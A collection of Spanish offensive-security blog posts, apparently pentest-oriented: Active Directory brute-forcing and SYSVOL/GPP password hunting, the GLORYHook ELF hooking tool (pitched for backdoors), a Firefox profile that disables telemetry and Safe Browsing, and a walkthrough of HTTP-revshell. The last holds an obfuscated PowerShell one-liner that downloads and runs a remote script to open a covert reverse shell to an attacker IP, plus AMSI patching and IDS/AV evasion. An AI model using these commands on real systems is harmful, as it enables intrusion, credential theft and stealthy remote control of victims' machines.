net rpc group members 'Domain Users' -I 192.168.10.50 -U "john"%"pass123" > users.txt

2) Ahora podríamos incluirlo en cualquiera de las herramientas mencionadas anteriormente, por ej. Metasploit para hacer el ataque:
use auxiliary/scanner/smb/smb_login
set RHOSTS <DC-IP>
set SMBDomain <DOMAIN>
set SMBPass file:pwdlist.txt
set USER_FILE users.txt
set THREADS 5
run

ADVERTENCIA: Antes de ejecutar cualquier ataque de fuerza bruta, debemos estar siempre al tanto de la política de contraseñas corporativa para evitar bloqueos de usuarios.

Volver al principio

16. Credenciales en SYSVOL y Group Policy Preferences (GPP)

Muchas veces se almacenan credenciales en carpetas compartidas de red SYSVOL, que son carpetas en controladores de dominio accesibles y legibles para todos los usuarios de dominio autenticados. Las carpetas SYSVOL se usan generalmente para almacenar Políticas de grupo corporativas, archivos de configuración y otros datos que se envían a los usuarios al iniciar sesión, etc.

El almacenamiento de credenciales en las carpetas SYSVOL es algo que los administradores a veces hacen o deciden hacer en algún momento, para resolver algún problema de configuración. Por ejemplo, iniciar una aplicación en máquinas cliente al iniciar sesión que requiere privilegios administrativos.

No es necesario decir que esto es algo que nunca se debe hacer, porque cualquier usuario de dominio puede acceder a los recursos compartidos de SYSVOL y encontrar las credenciales.

Ejemplos típicos son:

- Preferencias de directiva de grupo (GPP) con el atributo cPassword (MS14-025)
- Credenciales hardcodeadas en varios scripts y archivos de configuración

Para probar esto, necesitamos tener credenciales de usuario de dominio con privilegios bajos.

Esto es lo que podríamos hacer desde un dominio unido a una máquina Windows:

findstr /s /n /i /p password \\<DOMAIN>\sysvol\<DOMAIN>\*

# Ejemplo:
findstr /s /n /i /p password \\example.com\sysvol\example.com\*

Este comando examinará todos los archivos del volumen SYSVOL y buscará el patrón "password".

Un comando equivalente en Linux (por ejemplo, Kali Linux) sería:
mount.cifs -o domain=<DOMAIN>,username=<USER>,password=<PASS> //<DC-IP>/SYSVOL /mnt

# Ejemplo:
mount.cifs -o domain=example.com,username=john,password="pass@123" //10.10.139.115/SYSVOL /mnt

# Búsqueda:
grep -ir 'password' /mnt

Lo más probable es que encontraremos algo interesante. Por ejemplo, podríamos encontrar un atributo cPassword en los archivos GPP XML, que podríamos descifrar instantáneamente usando la utilidad "gpp-decrypt":


Ahora podríamos intentar usar esta contraseña para autenticarnos en las máquinas Windows que se encuentran en la red. O podríamos probarla en otro lado. Lo más probable es que la contraseña se reutilice en algún lugar...

Volver al principio

Fuente: https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/

GLORYHook o llamando libc desde el propio hook

GLORYHook del israelí Paul Litvak (Intezer labs) es un script en python que nos permitirá hacer un merge de dos binarios en Linux. Lo interesante es que utiliza un método de hooking que permite llamar librerías desde el propio hook, por lo que no es necesario recurrir a escribir shellcodes o escribir una implementación propia de las API de libc.

La instalación son unos pocos pasos sólo:

1. (Requisito) Custom LIEF para manipular más fácilmente los ELF
git clone https://github.com/tsarpaul/LIEF
cd LIEF
python3 ./setup.py install

2. GLORYHook
git clone https://github.com/tsarpaul/GLORYHook.git
cd GLORYHook
pip3 install -r requirements.txt

Ahora veamos un ejemplo con el código de hook.c donde podemos ver como llamamos a la API de libc:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *gloryhook_strrchr(const char *s, int c){
    printf("STRRCHR HOOKED!\n");
    return strrchr(s, c);
}

char *gloryhook_getenv(const char *name) {
    printf("GETENV HOOKED!\n");
    return getenv(name);
}

Después usamos el script para que haga su magia:
$ python3 glory.py /bin/ls ./hook -o ./hooked-ls
[+] Beginning merge!
[+] Injecting new PLT
[+] Extending GOT for new PLT
[+] Fixing injected PLT
[+] Injecting PLT relocations
[+] Done!

Y voilà:
$ ./hooked-ls 
STRRCHR HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
example.sh  glory-penguin.png  glory.py  hook  hook.c  hooked-ls  README.md  requirements.txt  usage.png

Ya os podéis imaginar que esto puede servir bastante bien para un file infector/backdoor, como una buena alternativa para un rootkit de LD_PRELOAD y bastante díficil de detectar... };-)

miércoles, 8 de julio de 2020

Cómo eliminar la molesta telemetría de Firefox para trabajar (a gusto) con Burp

Ya sabéis que Firefox, incluso sin extensiones, genera un montón de ruido cuando trabajamos con Burp a modo de conexiones a DetectPortal, SafeBrowsing, reportMalware, version-checks, ping-telemetry, etc.


Para evitarlo podemos cambiar una serie de settings en el UI (por ejemplo, a través de about:config en el navegador) o, más sencillo, configurarlo dentro de un archivo user.js en tu perfil. Las rutas donde se deben guardar dicho archivo según sistema operativo (hay que crearlo si no existe) son las siguientes:
  • Windows: C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
  • Mac OS X: Users//Library/Application Support/Firefox/Profiles/xxxxxxxx.default
  • Linux: /home//.mozilla/firefox/xxxxxxxx.default
Y gracias a Mikhail Driagunov aka AetherEternity he querido recopilar este user.js para tener siempre a mano:
user_pref("accessibility.force_disabled", 1);
user_pref("accessibility.typeaheadfind.flashBar", 0);
user_pref("app.normandy.first_run", false);
user_pref("app.shield.optoutstudies.enabled", false);
user_pref("app.update.auto", false);
user_pref("app.update.checkInstallTime", false);
user_pref("app.update.doorhanger", false);
user_pref("browser.feeds.showFirstRunUI", false);
user_pref("browser.newtabpage.activity-stream.feeds.section.highlights", false);
user_pref("browser.newtabpage.activity-stream.feeds.snippets", false);
user_pref("browser.newtabpage.activity-stream.feeds.telemetry", false);
user_pref("browser.newtabpage.activity-stream.feeds.topsites", false);
user_pref("browser.newtabpage.activity-stream.prerender", false);
user_pref("browser.newtabpage.activity-stream.telemetry", false);
user_pref("browser.newtabpage.activity-stream.telemetry.ping.endpoint", "https://localhost");
user_pref("browser.ping-centre.telemetry", false);
user_pref("browser.safebrowsing.blockedURIs.enabled", false);
user_pref("browser.safebrowsing.downloads.enabled", false);
user_pref("browser.safebrowsing.downloads.remote.block_dangerous", false);
user_pref("browser.safebrowsing.downloads.remote.block_dangerous_host", false);
user_pref("browser.safebrowsing.downloads.remote.block_potentially_unwanted", false);
user_pref("browser.safebrowsing.downloads.remote.block_uncommon", false);
user_pref("browser.safebrowsing.downloads.remote.enabled", false);
user_pref("browser.safebrowsing.downloads.remote.url", "https://localhost");
user_pref("browser.safebrowsing.malware.enabled", false);
user_pref("browser.safebrowsing.phishing.enabled", false); user_pref("browser.safebrowsing.provider.google.advisoryURL", "https://localhost'");
user_pref("browser.safebrowsing.provider.google.gethashURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google.lists", "https://localhost");
user_pref("browser.safebrowsing.provider.google.reportMalwareMistakeURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google.reportPhishMistakeURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google.reportURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google.updateURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google4.advisoryURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google4.dataSharingURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google4.gethashURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google4.reportMalwareMistakeURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google4.reportPhishMistakeURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google4.reportURL", "https://localhost");
user_pref("browser.safebrowsing.provider.google4.updateURL", "https://localhost");
user_pref("browser.safebrowsing.provider.mozilla.gethashURL", "https://localhost");
user_pref("browser.safebrowsing.provider.mozilla.nextupdatetime", "995795774646");
user_pref("browser.safebrowsing.provider.mozilla.updateURL", "https://localhost");
user_pref("browser.safebrowsing.reportPhishURL", "https://localhost");
user_pref("browser.search.geoSpecificDefaults.url", "https://localhost");
user_pref("browser.search.searchEnginesURL", "https://localhost");
user_pref("browser.search.suggest.enabled", false);
user_pref("browser.search.update", false);
user_pref("browser.search.update.interval", 995795774646);
user_pref("browser.startup.page", 0);
user_pref("browser.urlbar.suggest.bookmark", false);
user_pref("browser.urlbar.suggest.history", false);
user_pref("captivedetect.maxRetryCount", 0);
user_pref("experiments.activeExperiment", false);
user_pref("experiments.manifest.uri", "https://localhost");
user_pref("extensions.update.enabled", false);
user_pref("general.warnOnAboutConfig", false);
user_pref("network.captive-portal-service.enabled", false);
user_pref("security.ssl.errorReporting.url", "https://localhost");
user_pref("services.settings.server", "https://localhost");
user_pref("services.sync.nextSync", 0);
user_pref("services.sync.prefs.sync.browser.safebrowsing.downloads.enabled", false);
user_pref("services.sync.prefs.sync.browser.safebrowsing.malware.enabled", false);
user_pref("services.sync.prefs.sync.browser.safebrowsing.passwords.enabled", false);
user_pref("services.sync.prefs.sync.browser.safebrowsing.phishing.enabled", false);
user_pref("toolkit.telemetry.archive.enabled", false);
user_pref("toolkit.telemetry.bhrPing.enabled", false);
user_pref("toolkit.telemetry.firstShutdownPing.enabled", false);
user_pref("toolkit.telemetry.hybridContent.enabled", false);
user_pref("toolkit.telemetry.newProfilePing.enabled", false);
user_pref("toolkit.telemetry.reportingpolicy.firstRun", false);
user_pref("toolkit.telemetry.shutdownPingSender.enabled", false);
user_pref("toolkit.telemetry.unified", false);
user_pref("toolkit.telemetry.updatePing.enabled", false);
user_pref("browser.newtabpage.activity-stream.section.highlights.includePocket", false);
user_pref("extensions.pocket.enabled", false);
user_pref("services.sync.prefs.sync.browser.newtabpage.activity-stream.section.highlights.includePocket", false); 

HTTP-revshell: controla el equipo de la víctima a través de un canal encubierto

Hola a tod@s, mi nombre es Héctor de Armas, 3v4Si0N para los juankers y voy a presentarles una herramienta que desarrollé durante el confinamiento. Esta herramienta se hace llamar HTTP-revshell y consiste en la utilización de un canal encubierto (covert channel) para obtener control sobre el equipo víctima a través de peticiones web y de esta forma evadir soluciones como un IDS, IPS y AV.

Bueno, ¿y qué diablos es un covert channel?

Pues básicamente, es la manipulación de un protocolo de comunicación (en este caso HTTP y HTTPS) para enviar información de una manera fuera de la especificación del protocolo.

HTTP-revshell se ha desarrollado para ser utilizada en ejercicios de RedTeam y/o pentest para poner a prueba las capacidades de detección de las soluciones de seguridad que una empresa puede tener implementadas (siempre para hacer el bien y nunca para el mal, sed buenos).

Utilización de HTTP-revshell

Comenzamos con la instalación de la herramienta. Lo primero, descargar el repositorio que se encuentra en la siguiente URL:

    • https://github.com/3v4Si0N/HTTP-revshell

Para realizar una pequeña muestra de cómo funciona vamos a utilizar la versión de la rama dev ya que, actualmente como se encuentra en desarrollo, está más actualizada que la versión de la rama master. Para ello, utilizamos el siguiente comando:

git clone -b dev https://github.com/3v4Si0N/HTTP-revshell.git


Instalamos las dependencias:

cd HTTP-revshell && pip3 install -r requirements.txt


Una vez instaladas todas las dependencias, únicamente queda levantar el servidor web que es el que recibirá las conexiones para poder controlar el equipo.

Actualmente, se encuentran en desarrollo dos versiones del servidor (server.py y server-mutisession.py). El servidor multisession, como su nombre indica, ofrece la posibilidad de controlar más de un equipo al mismo tiempo, en cambio server.py únicamente funciona con un único cliente.

Vamos por partes, en primer lugar, se va a mostrar cómo funciona la herramienta utilizando el server.py. Como se puede observar en la ayuda de la herramienta, existe un argumento opcional llamado --ssl. Este flag permite cifrar el tráfico punto a punto y de este modo imposibilitar la visualización del tráfico a curiosos y la detección por parte de las soluciones a nivel de red (siempre y cuando la solución no tenga la capacidad de descifrar el tráfico HTTPS, que en este caso no funcionaría).


Y sin más dilación, ejecutamos el servidor:


En este momento la herramienta se encuentra en escucha esperando a que un cliente se conecte.

Por otro lado, en el repositorio se puede encontrar el cliente (Invoke-WebRev.ps1). Este script desarrollado en PowerShell es el cliente que va a interactuar con el servidor y el cual tiene que ser ejecutado en la víctima.

Para ejecutar el script en la víctima se puede realizar ejecutando el siguiente comando, cambiando la dirección IP y puerto por el que ustedes quieran (y hayan puesto en el servidor):

powershell -w h -nop "$x = 'serevjo-ei-ycixefo'; Set-alias $x ($x[$true-10] + ($x[[byte]('0x' + 'FF') - 265]) + $x[[byte]('0x' + '9a') - 158]); serevjo-ei-ycixefo (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/dev/Invoke-WebRev.ps1'); Invoke-WebRev -ip 192.168.224.130 -p 80"

Otra manera de ejecutar el script es subiéndolo a la víctima y ejecutando el siguiente comando:

. .\Invoke-WebRev.ps1; Invoke-WebRev -ip 192.168.224.130 -port 80

Una vez que el cliente se conecta al servidor, aparece el siguiente mensaje confirmando que se controla el equipo con los permisos del usuario que ha ejecutado el script Invoke-WebRev:


Seguidamente, el proceso donde se está ejecutando Invoke-WebRev ha sido parcheado para evitar las detecciones por parte del molesto e indeseado AMSI.

Como se puede ver a continuación, la máquina donde se está ejecutando HTTP-revshell tiene AMSI habilitado (se puede comprobar escribiendo amsiutils o amsiscanbuffer en la terminal):


En cambio, si realizamos exactamente lo mismo desde HTTP-revshell, se puede observar cómo AMSI ha sido parcheado, ya que el mensaje “This script contains malicious content…” no lo vemos:


Al igual que las herramientas evil-winrm y EvilSalsa de Cybervaca, se ha implementado en HTTP-revshell dos funciones básicas que facilitan la transferencia de ficheros de la máquina atacante a la máquina víctima y viceversa.

upload


download


Si queréis saber cómo se utiliza el server-multisession.py, podéis echarle un ojo al post que escribió mi compañero JoelGMSec en su blog en la siguiente URL:

    • https://darkbyte.net/jugando-con-remote-shells-parte-i-http-revshell/

Es importante destacar que si en algún momento por equivocación se presionan las teclas Ctrl + C y el servidor se cierra, el cliente intentará reconectarse indefinidamente (enviando paquetes SYN) hasta que el servidor vuelva a estar operativo. Nosotros como atacantes, solamente tenemos que volver a ejecutar el servidor para recuperar la conexión:


En la imagen anterior, podemos ver que se ha recibido un error debido a que la última petición que ha realizado el cliente no ha sido satisfactoria ya que el servidor se encontraba caído, pero como se puede comprobar la conexión se restablece y como si nada hubiera pasado :-).

Para cerrar completamente la sesión es necesario ejecutar el comando exit.

Destripando la herramienta

Una de las cosas más importantes a la hora de evadir una solución de seguridad a nivel de red, es pasar desapercibido para no ser detectado. En este caso, era muy importante que el tráfico que generase la herramienta fuera lo más legítimo posible y evitase un flood innecesario de peticiones.

Si ponemos un Wireshark a la escucha, podemos observar cómo se comporta la herramienta por debajo.

Lo primero que realiza el cliente cuando se conecta al servidor web es enviar una petición al servidor para indicarle que ha establecido sesión correctamente.


Como se puede observar, el servidor no responde hasta que nosotros no escribamos un comando. Pero, lo más sorprendente y lo más importante de cara a una posible detección por comportamiento a nivel de red, es que el cliente no envía ninguna petición más hasta que el servidor no conteste.

En el caso de que escribamos un comando, como por ejemplo whoami, el servidor contesta a través de la cabecera Authorization con el comando encodeado en base64:


Como se puede observar en la imagen anterior, rápidamente el cliente vuelve a enviar otra petición web al servidor (No. 121) con la respuesta del comando que el servidor le ha enviado:


Los datos como se puede observar son enviados utilizando JSON. El resultado es encodeado en base64 para facilitar la transferencia. Además, se envía un parámetro extra en cada petición web llamado pwd el cual contiene el path donde se encuentra en ese momento el cliente. De este modo, se controla en todo momento en qué carpeta del filesystem se encuentra.

Por otro lado, si utilizamos una conexión a través de HTTPS, podemos observar cómo el tráfico está cifrado y no podemos inspeccionarlo:


Para terminar, otra de las características importantes de la herramienta es que el cliente se autoconfigura si detecta que el equipo infectado utiliza un proxy para salir a Internet. Nosotros como atacantes no tenemos que conocer las credenciales del usuario para obtener una conexión con el servidor.
Únicamente con las siguientes dos líneas de código se consigue el objetivo:

[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy();
[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;

En un futuro no muy lejano, actualizaré la herramienta para que en caso de que ustedes quieran modificar las credenciales del proxy, puedan hacerlo sin ningún problema.

 

CLOWN SAW